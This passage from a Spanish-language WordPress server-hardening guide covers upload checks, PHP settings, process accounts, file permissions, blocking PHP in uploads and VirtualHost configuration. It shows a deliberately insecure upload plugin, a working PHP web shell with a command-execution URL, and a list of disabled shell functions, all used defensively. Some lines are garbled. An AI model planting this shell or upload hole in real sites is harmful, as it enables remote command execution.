return new WP_Error( 'wpforms_upload_failed', __( 'File type is not allowed.', 'wpforms' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpforms_upload_failed', $upload['error'] );
}
return $upload;
}
3. WooCommerce
- WooCommerce también define y verifica las extensiones de archivo permitidas directamente en su código de manejo de cargas.
**Código de ejemplo para WooCommerce:**
```
function woocommerce_handle_upload( $file ) {
$allowed_file_types = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'woocommerce_upload_failed', __( 'File type is not allowed.', 'woocommerce' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'woocommerce_upload_failed', $upload['error'] );
}
return $upload;
}
```
**Ejemplo: Plugin de carga de archivos malicioso**
- Un plugin malicioso puede parecer inocente pero explotar la extensión fileinfo para eludir las verificaciones de seguridad:
```
<?php
/*
Plugin Name: Simple Malicious Upload
Description: A plugin with hidden malicious file upload capability.
Version: 1.0
*/
function simple_file_upload_menu() {
add_menu_page('File Upload', 'File Upload', 'manage_options', 'file-upload', 'simple_file_upload_page');
}
add_action('admin_menu', 'simple_file_upload_menu');
function simple_file_upload_page() {
?>
<h1>File Upload</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" />
<input type="submit" name="upload_file" value="Upload" />
</form>
<?php
if (isset($_POST['upload_file'])) {
simple_handle_file_upload();
}
}
function simple_handle_file_upload() {
if (!empty($_FILES['uploaded_file']['tmp_name'])) {
$file_tmp = $_FILES['uploaded_file']['tmp_name'];
$file_name = basename($_FILES['uploaded_file']['name']);
// Using fileinfo to check MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file_tmp);
finfo_close($finfo);
// Insecure handling: allows any PHP files to be uploaded
if ($mime_type === 'text/plain' || $mime_type === 'application/x-php') {
$upload_dir = wp_upload_dir();
$upload_file = $upload_dir['path'] . '/' . $file_name;
// Move the uploaded file to the uploads directory
if (move_uploaded_file($file_tmp, $upload_file)) {
echo "File uploaded successfully.";
} else {
echo "File upload failed.";
}
} else {
echo "Invalid file type.";
}
}
}
?>
```
**Explicación del Exploit:**
- El plugin malicioso permite cargar archivos PHP si su tipo MIME es `application/x-php.`
- Un atacante puede cargar un shell web PHP usando esta funcionalidad.
- Una vez cargado, el atacante accede a la URL del archivo y ejecuta comandos arbitrarios.
**Ejemplo: Código de Shell Web PHP**```
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
Demostración del Ataque
http://yourwordpress.com/wp-content/uploads/webshell.php.http://yourwordpress.com/wp-content/uploads/webshell.php?cmd=ls, el atacante puede ejecutar comandos arbitrarios.Nota:
Asegurarse de que las funciones y configuraciones de PHP estén correctamente configuradas puede mejorar significativamente la seguridad de tu sitio WordPress. Las configuraciones incorrectas pueden exponer tu sitio a diversas vulnerabilidades, incluyendo ejecución remota de código, divulgación de información y secuestro de sesiones. Es crucial endurecer PHP deshabilitando o configurando adecuadamente estas funciones.
¿Por qué es importante?
Ejecución Remota de Código:
allow_url_fopen y funciones como exec pueden habilitar la ejecución remota de código, lo que lleva a un posible compromiso del sistema.Divulgación de Información:
display_errors y expose_php pueden filtrar información sensible sobre tu configuración del servidor, facilitando que los atacantes encuentren vulnerabilidades.Seguridad de Sesiones:
session.cookie_secure y session.cookie_httponly, protege las cookies de sesión para que no sean accedidas mediante scripts del lado del cliente ni transmitidas a través de canales inseguros.Auditoría:
Remediación:
allow_url_fopen:
file_get_contents(), fopen(), include(), y require() pueden recuperar datos de ubicaciones remotas a través de FTP o HTTP.allow_url_fopen para varias funciones.; (Opcional) Deshabilitar allow_url_fopen, si no es necesario
allow_url_fopen = Off
display_errors:
; Deshabilitar que los errores de PHP se muestren en tu sitio web WordPress
display_errors = Off
expose_php:
; Evitar exponer la versión de PHP en los encabezados de respuesta HTTP
expose_php = Off
session.cookie_secure
session.cookie_secure:
; Asegurar que las cookies de sesión se envíen a través de HTTPS
session.cookie_secure = On
session.cookie_httponly
session.cookie_httponly:
; Hacer que las cookies de sesión sean inaccesibles para JavaScript
session.cookie_httponly = On
open_basedir:
; Restringir el acceso a archivos de PHP al directorio especificado
open_basedir = "/ruta/a/la/raíz/de/tu/web"
Ejemplo:
open_basedir = "/var/www/html:/tmp"
Esta configuración permite que PHP acceda solo a los archivos dentro del directorio /var/www/html y al directorio temporal /tmp.
disable_functions:
; Deshabilitar funciones peligrosas de PHP
disable_functions = "system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail"
Explicación de las Funciones Deshabilitadas:
system, exec, shell_exec, passthru:
mysql_list_dbs:
ini_alter:
dl:
symlink, link:
chgrp:
leak:
popen:
apache_child_terminate:
virtual:
Ejemplo: A continuación se muestra una Lista de Funciones PHP Deshabilitadas en un WordPress Real``` system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
### 8.5. Asegurar que el Servidor Web se Ejecute Como un Usuario No Root - Usuario y Grupo Únicos y Sin Privilegios para la Aplicación del Servidor
En la mayoría de los casos, los servidores web se ejecutan como usuarios como "www-data" (Debian/Ubuntu) o "apache" (RHEL/CentOS).
Estos usuarios son cuentas de servicio dedicadas sin privilegios especiales en el servidor y se utilizan para designar el usuario y grupo que asumirán los procesos trabajadores del servidor web.
Si estos usuarios tienen privilegios de sistema o se están ejecutando como root, deben ser cambiados.
**Auditoría:**
- Verificar el usuario que ejecuta el proceso del servidor web. (Específicamente, es el proceso trabajador del servidor web.)
1. Para Apache:
```
# ps -ef | grep httpd
root 2257 1 0 Apr08 ? 00:00:01 /usr/local/apache/bin/httpd -k start
apache 5678 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5679 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5680 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5681 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
```
2. Para Nginx:
```
# ps -ef | grep nginx
root 626653 1 0 Apr08 ? 00:00:00 nginx: master process /usr/sbin/nginx
nginx 626654 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626655 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626656 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626657 626653 0 Apr08 ? 00:00:00 nginx: worker process
```
**Remediación:**
- El servidor web debe ejecutarse como una cuenta dedicada y sin privilegios.
- En la mayoría de los casos, se utiliza una de estas cuentas de uso común como "www-data", "apache", "nginx", "nobody" o "daemon".
1. Para Apache:
```
# vim /etc/httpd/httpd.conf
..
...
User www-data
Group www-data
..
...
```
2. Para Nginx:
```
# vim /etc/nginx/nginx.conf
..
...
user daemon;
```
**Nota:**
- Los usuarios de proceso del servidor web no deben tener privilegios de inicio de sesión de shell. ```
# cat /etc/passwd | grep -i www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
WordPress está construido con PHP, por lo que una configuración correcta del sistema es necesaria para ejecutar el código PHP adecuadamente.
La ejecución del código PHP en WordPress es gestionada por PHP-FPM, un Gestor de Procesos FastCGI. Para garantizar el funcionamiento seguro de PHP-FPM, debe ejecutarse bajo una cuenta de servicio dedicada y no privilegiada.
Generalmente, la cuenta del proceso del servidor web y la cuenta de PHP-FPM se configuran como la misma cuenta. Sin embargo, para una mayor seguridad, es mejor ejecutarlos bajo cuentas separadas.
Aquí hay dos razones:
Aislamiento de Procesos:
Principio de Mínimo Privilegio:
Auditoría:
root 1234 1 0 12:00 ? 00:00:01 php-fpm: master process (/etc/php-fpm.conf) php-fpm 5678 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5679 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5680 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5681 1234 0 12:00 ? 00:00:00 php-fpm: pool www
**Mitigación:**
- PHP-FPM debería ejecutarse como una cuenta dedicada no privilegiada.
- En la mayoría de los casos, la cuenta utilizada es "php-fpm".
**Cambiando la cuenta del proceso para PHP-FPM:**```
# vim /etc/php-fpm.d/www.conf # Adjust the path based on your PHP version
...
user = php-fpm
group = php-fpm
listen.owner = php-fpm
listen.group = php-fpm
La cuenta del proceso PHP-FPM no debería tener privilegios de inicio de sesión de shell.```
php-fpm❌999:999:PHP-FPM:/run/php:/usr/sbin/nologin
**Nota:**
- Usar cuentas de usuario diferentes para los procesos de PHP-FPM y los procesos del servidor web es preferible desde una perspectiva de seguridad.
- Cuando se pregunte cuál es mejor para la seguridad, deben ser diferentes. Evite usar la misma cuenta de ejecución en este contexto.
### 8.7. Asegurar la Configuración Segura del Directorio de Inicio de WordPress
Para operar un servidor web de forma segura, es crucial configurar adecuadamente la propiedad y los permisos del directorio de inicio de WordPress
En la mayoría de los casos, la propiedad y los permisos de los archivos y directorios de WordPress se establecen para coincidir con la cuenta de proceso del servidor web.
Esta configuración permite que el servidor web acceda a los archivos en la raíz web y funcione sin errores.
Sin embargo, esta configuración es insegura.
Por ejemplo, si el proceso del servidor web es 'apache' y tanto el directorio raíz web como los archivos son propiedad de 'apache', podría provocar vulnerabilidades graves.
Los atacantes podrían explotar estas vulnerabilidades para obtener acceso no autorizado a archivos y directorios críticos dentro del directorio de inicio de WordPress.
**Ejemplo común de vulnerabilidad:**
- Si tanto la cuenta de proceso del servidor web como el directorio de inicio (raíz web) y los archivos son propiedad de 'apache':
- En caso de vulnerabilidades en el sitio web y acceso externo al sistema (como webshell), los atacantes pueden realizar varias acciones dentro de la raíz web:
1. Crear, modificar o eliminar archivos o directorios dentro de la raíz web.
2. Manipular los registros de acceso web, incluyendo modificación, eliminación o creación. (excepto en algunos entornos)
3. Puede obtener acceso a las cookies de sesión activas de usuarios conectados. (en entornos particularmente vulnerables)
Para mitigar estos riesgos, es crucial ajustar adecuadamente la propiedad y los permisos del directorio de inicio de WordPress
**Mitigación:**
- Establecer el propietario del directorio de inicio (raíz web) y los archivos a 'root:root'. (Evite establecerlo igual que la cuenta de proceso del servidor web)
- El UMASK predeterminado para directorios y archivos es 022. (Directorios: 755, Archivos: 644)
- Para directorios que requieren acceso de escritura como la carga de archivos por el servicio web, establezca el propietario de esos directorios a la cuenta de proceso del servidor web.
**Directorios que generalmente requieren permisos de escritura en WordPress:**```
/wp-content/uploads
/wp-content/cache
/wp-content/wflogs (when using security plugins like Wordfence)
/wp-content/upgrade (used during the WordPress upgrade process)
Después de configurar la propiedad y los permisos del directorio raíz de acuerdo con las medidas de remediación anteriores, la salida del directorio raíz de WordPress es la siguiente:
Ejemplo: Directorio raíz de WordPress``` drwxr-xr-x 5 root root 4096 May 27 2024 . drwxr-xr-x 3 root root 4096 May 27 2024 .. -rw-r--r-- 1 root root 418 May 27 2024 index.php -rw-r--r-- 1 root root 19935 May 27 2024 license.txt -rw-r--r-- 1 root root 7346 May 27 2024 readme.html -rw-r--r-- 1 root root 7106 May 27 2024 wp-activate.php drwxr-xr-x 9 root root 4096 May 27 2024 wp-admin -rw-r--r-- 1 root root 351 May 27 2024 wp-blog-header.php -rw-r--r-- 1 root root 2328 May 27 2024 wp-comments-post.php -rw-r--r-- 1 root root 4973 May 27 2024 wp-config-sample.php -rw-r--r-- 1 root root 2755 May 27 2024 wp-config.php drwxr-xr-x 8 root root 4096 May 27 2024 wp-content -rw-r--r-- 1 root root 3940 May 27 2024 wp-cron.php drwxr-xr-x 25 root root 12288 May 27 2024 wp-includes -rw-r--r-- 1 root root 2496 May 27 2024 wp-links-opml.php -rw-r--r-- 1 root root 3300 May 27 2024 wp-load.php -rw-r--r-- 1 root root 51556 May 27 2024 wp-login.php -rw-r--r-- 1 root root 8403 May 27 2024 wp-mail.php -rw-r--r-- 1 root root 24568 May 27 2024 wp-settings.php -rw-r--r-- 1 root root 30869 May 27 2024 wp-signup.php -rw-r--r-- 1 root root 4620 May 27 2024 wp-trackback.php -rw-r--r-- 1 root root 3065 May 27 2024 xmlrpc.php
**En caso de que las cuentas de proceso de php-fpm y del servidor web sean diferentes (Permisos separados)**
Si la cuenta de proceso del servidor web es "apache" y la cuenta de proceso de php-fpm es "php-fpm".
Cambie los permisos de los directorios que requieren acceso de escritura en WordPress (por ejemplo, /wp-content/uploads).
- Propietario: php-fpm
- Grupo: apache
- Permisos de directorio: 775 (755 si es necesario)
**Estructura de archivos y directorios**
Establezca los permisos de escritura para los directorios necesarios de modo que ambas cuentas, "php-fpm" y "apache", puedan escribir.```
ex) /service/wordpress/www
├── index.php (root:root, 644)
├── license.txt (root:root, 644)
├── readme.html (root:root, 644)
├── wp-activate.php (root:root, 644)
├── wp-admin/ (root:root, 755)
├── wp-blog-header.php (root:root, 644)
├── wp-comments-post.php (root:root, 644)
├── wp-config-sample.php (root:root, 644)
├── wp-config.php (root:root, 644)
├── wp-content/ (root:root, 755)
│ ├── plugins/ (root:root, 755)
│ ├── themes/ (root:root, 755)
│ ├── uploads/ (php-fpm:apache, 775)
│ │ ├── 2024/ (php-fpm:apache, 775)
│ │ └── ... (php-fpm:apache, 775)
│ └── ... (root:root, 755)
├── wp-cron.php (root:root, 644)
├── wp-includes/ (root:root, 755)
├── wp-links-opml.php (root:root, 644)
├── wp-load.php (root:root, 644)
├── wp-login.php (root:root, 644)
├── wp-mail.php (root:root, 644)
├── wp-settings.php (root:root, 644)
├── wp-signup.php (root:root, 644)
├── wp-trackback.php (root:root, 644)
└── xmlrpc.php (root:root, 644)
Resumen
Configurándolo de esta manera, puedes separar los permisos del servidor web y PHP-FPM, aplicar correctamente la propiedad y los permisos del directorio principal, y mejorar la seguridad.
Este método se aplica no solo a WordPress, sino a cualquier estructura de servidor web que sirva contenido web.
Asegurar que la ejecución de PHP esté deshabilitada en los directorios donde se puedan subir archivos es crucial para mantener un entorno seguro.
Los directorios de subida con permisos de escritura son objetivos potenciales para que atacantes suban scripts maliciosos, como webshells, que pueden ejecutarse para comprometer el servidor.
¿Por qué es importante?
Mitigar ataques de webshells:
Reducir la superficie de ataque:
Cumplimiento de las mejores prácticas de seguridad:
Auditoría:
Remediación:
/wp-content/uploads.Pasos de configuración
<Location "/wp-content/uploads">
SetHandler application/octet-stream
</Location>
location /wp-content/uploads {
default_type application/octet-stream;
}
<Location "/wp-content/uploads">
php_flag engine off
# o alternativamente
php_value engine 0
</Location>
<Location "/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Location>
<Directory "/var/www/html/yourwordpress/wp-content/uploads">
# Deshabilitar la ejecución de PHP
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
location /wp-content/uploads {
location ~ \.php$ {
fastcgi_pass off;
}
}
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
Estas configuraciones aseguran que incluso si se sube un archivo PHP al directorio /wp-content/uploads, no se pueda ejecutar, previniendo así posibles ataques.
Explicación de las directivas de configuración
SetHandler application/octet-stream:
php_flag engine off / php_value engine 0:
SetHandler none:
Nota:
/wp-content/uploads seguirá siendo accesible y se mostrará correctamente usando una etiqueta :
<img src="https://example.com/wp-content/uploads/image.jpg" alt="Imagen de ejemplo">

Esto se puede lograr mediante una configuración adecuada de las directivas VirtualHost.
En la mayoría de los casos, los servicios web se acceden a través de un nombre de dominio, como https://yourwordpress.com. El servidor web recibe esta solicitud y sirve el contenido apropiado. Para reforzar este comportamiento, necesitamos configurar el servidor web para que solo responda a solicitudes con la cabecera Host correcta.
Riesgos de Seguridad Potenciales al Permitir el Acceso Basado en IP
Auditoría:
Remediación:
Pasos de Configuración
Configuración del VirtualHost Predeterminado
Crear un VirtualHost predeterminado que capture todas las solicitudes no especificadas y devuelva un 403 Prohibido o las redirija.
Para Apache:
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
...
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /path/to/ssl/certificate.crt;
SSLCertificateKeyFile /path/to/ssl/private.key;
...
<Location />
Require all denied
</Location>
</VirtualHost>
Para Nginx:
server {
listen 80 default_server;
return 403;
}
server {
listen 443 ssl default_server;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
return 403;
}
Configuración del VirtualHost Basado en Dominio
Para Apache:
<VirtualHost *:80>
ServerName yourwordpress.com
...
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /etc/httpd/to/ssl/certificate.crt;
SSLCertificateKeyFile /etc/httpd/to/ssl/private.key;
...
</VirtualHost>
Para Nginx:
server {
listen 443 ssl;
server_name yourwordpress.com;
root /var/www/html/wordpress;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
Pruebas
yourwordpress.com.yourwordpress.com, se deniega el acceso (error 403) para solicitudes que no están basadas en dominio (https://ip), lo que resulta en una pantalla de error 403. $ curl -i -k http(s)://10.10.66.88
HTTP/1.1 403 Forbidden
Server: nginx
Date: Mon, 03 Jun 2024 23:23:13 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
$ curl -i -k https://yourwordpress.com
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jun 2024 23:32:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: keep-alive
Hello, yourwordpress.com
Al implementar estas configuraciones, el servidor web solo responde a solicitudes dirigidas a tu dominio.
Aquí hay un ejemplo de una configuración completa del servidor web que incluye las pautas de seguridad. Ajusta y utiliza esta configuración según tu entorno de servidor web WordPress.
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
ErrorLog /var/log/httpd/http.ip.error.log
CustomLog /var/log/httpd/http.ip.access.log combined
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.ip.error.log
CustomLog /var/log/httpd/https.ip.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Location />
Require all denied
</Location>
</VirtualHost>
<VirtualHost *:80>
ServerName yourwordpress.com
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
Protocols h2 http/1.1
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.yourwordpress.com.error.log
CustomLog /var/log/httpd/https.yourwordpress.com.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Directory /var/www/html/current/public>
Options -Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
# Deny PHP execution in uploads directory
<Directory "/var/www/html/current/public/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
# PHP Serving
ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ unix:/var/run/php-fpm/php-fpm.sock|fcgi://localhost/var/www/html/current/public
#ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/html/current/public
# Favicon
<Location "/favicon.ico">
ErrorDocument 404 "Not Found"
SetEnvIf Request_URI "^/favicon\.ico$" no_log
</Location>
# Robots.txt
<Location "/robots.txt">
Require all granted
SetEnvIf Request_URI "^/robots\.txt$" no_log
</Location>
# Restrict access to wp-cron.php
<Files "wp-cron.php">
Require all denied
Require ip 127.0.0.1
</Files>
# Restrict access to wp-json
<Location "/wp-json/">
Require all denied
Require ip 127.0.0.1
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
# Restrict access to wp-admin
<Location "/wp-admin">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
<Files "wp-login.php">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Files>
# Deny access to hidden files
<FilesMatch "^\.">
Require all denied
</FilesMatch>
</VirtualHost>
server {
listen 80 default_server;
listen 443 default_server ssl http2;
error_log /var/log/nginx/http.ip.error.log;
access_log /var/log/nginx/http.ip.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location / {
deny all;
}
}
server {
listen 443 ssl http2;
server_name yourwordpress.com;
root /var/www/html/wordpress;
error_log /var/log/nginx/https.yourwordpress.com.error.log;
access_log /var/log/nginx/https.yourwordpress.com.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location = /favicon.ico {
log_not_found off;
access_log off;
}
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
# Restrict to access Wordpress Cron
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
# Restrict to access json rest-api
location ~ ^/wp-json/ {
allow 127.0.0.1; # Allow localhost
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
access_log off;
log_not_found off;
}
# Restrict to access Wordpress Admin
location = /wp-admin {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
# Deny all attempts to access hidden files such as .htaccess, .htpasswd, .DS_Store (Mac).
# Keep logging the requests to parse later (or to pass to firewall utilities such as fail2ban)
location ~ /\. {
deny all;
}
# Deny access to any files with a .php extension in the uploads directory
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
# Other example
# location ~* /(?:uploads|files)/.*\.php$ {
# deny all;
# }
# Rewrite rules, sends everything through index.php and keeps the appended query string intact
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
# Serving PHP
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\\.php)(/.+)$;
# fastcgi_pass 127.0.0.1:9000; # With php-cgi (or other tcp sockets):
fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; # With php-fpm (or other unix sockets):
fastcgi_index index.php;
include /etc/nginx/fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
expires max;
log_not_found off;
}
}
WordPress aborda las vulnerabilidades de seguridad lanzando nuevas actualizaciones de versión cuando se descubren vulnerabilidades.
Por ejemplo, si se encuentra una vulnerabilidad de seguridad en WordPress 6.5.2, se abordará y distribuirá en la versión 6.5.3.
Dado que las actualizaciones de seguridad no se gestionan versión por versión, son necesarias actualizaciones regulares de versión para abordar las vulnerabilidades de seguridad.
Consulta la información oficial de lanzamientos de WordPress para actualizaciones: WordPress Releases
Remediación:
Nota:
WordPress es un software de sistema de gestión de contenidos (CMS). Dado que es un software empaquetado, las vulnerabilidades de seguridad ocurren principalmente en sus componentes (archivos del núcleo, plugins, temas, etc.).
A diferencia de las aplicaciones web desarrolladas a medida para requisitos específicos, la identificación y solución de vulnerabilidades de seguridad debe hacerse utilizando métodos adecuados para WordPress.
Si un sitio web construido con WordPress no ha sido personalizado extensamente y conserva la naturaleza de WordPress, las vulnerabilidades de seguridad se pueden verificar fácilmente usando WPScan.
WPScan es un software parcialmente de pago, pero el nivel gratuito básico no tiene limitaciones funcionales. Permite revisiones y respuestas regulares a las vulnerabilidades de seguridad de WordPress.
Remediación:
WPScan:```
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
[+] URL: https://yourwordpress.com/ [192.168.10.100] [+] Started: Fri May 24 14:39:06 2024
Interesting Finding(s):
[+] Headers .. ... | - content-security-policy: upgrade-insecure-requests | Found By: Headers (Passive Detection) | Confidence: 100%
.. ... [+] XML-RPC seems to be enabled: https://yourwordpress.com/xmlrpc.php | Found By: Link Tag (Passive Detection) | Confidence: 30% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
.. ...
[+] Finished: Fri May 24 14:39:48 2024 [+] Requests Done: 187 [+] Cached Requests: 7 [+] Data Sent: 56.32 KB [+] Data Received: 605.595 KB [+] Memory used: 276.602 MB [+] Elapsed time: 00:00:42
---
### Leer a continuación
- [Configurar proxy Squid con mejores prácticas de seguridad](https://github.com/password123456/setup-squid-proxy-with-security-best-practice)
mb_send_mail: